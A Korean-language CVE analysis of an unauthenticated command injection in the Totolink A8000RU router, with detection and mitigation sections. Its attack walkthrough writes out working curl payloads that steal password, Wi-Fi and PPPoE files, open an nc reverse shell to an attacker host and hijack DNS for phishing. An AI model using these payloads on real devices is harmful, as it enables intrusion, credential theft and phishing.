⚠️ 경고: 본 문서는 CVE-2026-7121 취약점에 대한 기술 분석을 교육 목적으로만 제공합니다. 허가받지 않은 시스템에 대한 접근이나 공격은 불법이며 형사 처벌을 받을 수 있습니다.
기본 원리: OS 명령어 삽입이란
OS 명령어 삽입(Command Injection)은 웹 애플리케이션이나 펌웨어가 사용자 입력 데이터를 적절한 검증 없이 운영체제 명령어의 일부로 사용할 때 발생하는 보안 취약점입니다. 특히 네트워크 설정을 담당하는 라우터 펌웨어에서 이런 취약점이 자주 발견됩니다.
셸 명령어는 ;(순차 실행), |(파이프), &&(AND 조건), ||(OR 조건) 등의 메타문자를 통해 여러 명령을 연결할 수 있습니다. 이를 이용하면 원래 의도된 명령 외에 추가적인 임의의 명령을 실행시킬 수 있습니다.
취약점 상세
CVE-2026-7121은 Totolink A8000RU 라우터의 설치 마법사(Wizard) 설정 기능에서 발견된 OS 명령어 삽입 취약점입니다.
| 항목 | 내용 |
|---|---|
| 영향 장치 | Totolink A8000RU 7.1cu.643_b20200521 |
| 취약 파일 | /cgi-bin/cstecgi.cgi |
| 취약 함수 | setWizardCfg |
| 취약 파라미터 | wanIdx (WAN 인터페이스 인덱스) |
| 공격 벡터 | 네트워크 (원격), 인증 불필요 |
| CVSS 점수 | 9.8 (CRITICAL) |
setWizardCfg 함수는 라우터 최초 설정 마법사를 처리합니다. WAN 인터페이스 인덱스를 지정하는 wanIdx 파라미터가 내부 OS 명령에 직접 포함되어, 검증 없이 실행되는 문제가 있습니다. 설치 마법사 기능은 인증 전 접근이 가능한 경우가 많아, 인증 우회 없이 직접 공격이 가능합니다.
공격 시나리오
공격 전제 조건
- 대상 라우터의 웹 관리 인터페이스에 네트워크 접근 가능
- 펌웨어 버전 7.1cu.643_b20200521 사용 중
공격 흐름
1단계: 정보 수집
# nmap으로 웹 서비스 확인
nmap -sV -p 80,443,8080 TARGET_IP
# 펌웨어 버전 확인 (로그인 페이지에서)
curl -s http://TARGET_IP/ | grep -i 'version\|firmware\|totolink'
2단계: 취약점 확인
# 기본 명령 실행 테스트
curl -X POST "http://TARGET_IP/cgi-bin/cstecgi.cgi" \
-d "action=setWizardCfg&wanIdx=0;id"
응답에서 uid=0(root) 확인 시 취약점 존재.
3단계: 민감 정보 수집
# 패스워드 파일 탈취
curl -X POST "http://TARGET_IP/cgi-bin/cstecgi.cgi" \
-d "action=setWizardCfg&wanIdx=0;cat /etc/passwd"
# Wi-Fi 설정 (SSID, 비밀번호) 탈취
curl -X POST "http://TARGET_IP/cgi-bin/cstecgi.cgi" \
-d "action=setWizardCfg&wanIdx=0;cat /etc/config/wireless"
# PPPoE 계정 정보 탈취
curl -X POST "http://TARGET_IP/cgi-bin/cstecgi.cgi" \
-d "action=setWizardCfg&wanIdx=0;cat /etc/config/network"
4단계: 리버스 쉘 연결
# 공격자 서버에서 리스너 실행
nc -lvnp 4444
# 라우터에 리버스 쉘 페이로드 전송
curl -X POST "http://TARGET_IP/cgi-bin/cstecgi.cgi" \
-d "action=setWizardCfg&wanIdx=0;nc ATTACKER_IP 4444 -e /bin/sh"
5단계: DNS 하이재킹으로 피싱 공격
# 라우터의 DNS를 공격자 제어 DNS로 변경
curl -X POST "http://TARGET_IP/cgi-bin/cstecgi.cgi" \
-d "action=setWizardCfg&wanIdx=0;uci set network.wan.dns='ATTACKER_DNS';uci commit"
탐지 방법
네트워크 이상 탐지
setWizardCfg로의 HTTP 요청에서wanIdx파라미터에 특수문자 포함 여부 모니터링- 라우터에서 알 수 없는 외부 IP로 TCP 연결 발생 감지
- DNS 응답 변경 모니터링
시스템 이상 징후
- 예상치 못한 프로세스 실행 (nc, wget, curl 등)
/tmp디렉토리에 새로운 파일 생성- 관리자 계정 외 로그인 시도
대응 방법
즉각 조치
- 펌웨어 업데이트: Totolink 공식 사이트에서 최신 보안 패치 적용
- WAN 접근 차단: 라우터 관리 포트의 외부 인터넷 접근 완전 차단
- 방화벽 강화: 관리 포트를 내부 IP로만 제한
근본적 해결
- 취약점이 패치된 버전으로 펌웨어 업데이트
- 사용 수명이 다한 경우 보안이 강화된 최신 장치로 교체
- 기업 환경에서 네트워크 장치 보안 감사 정기 실시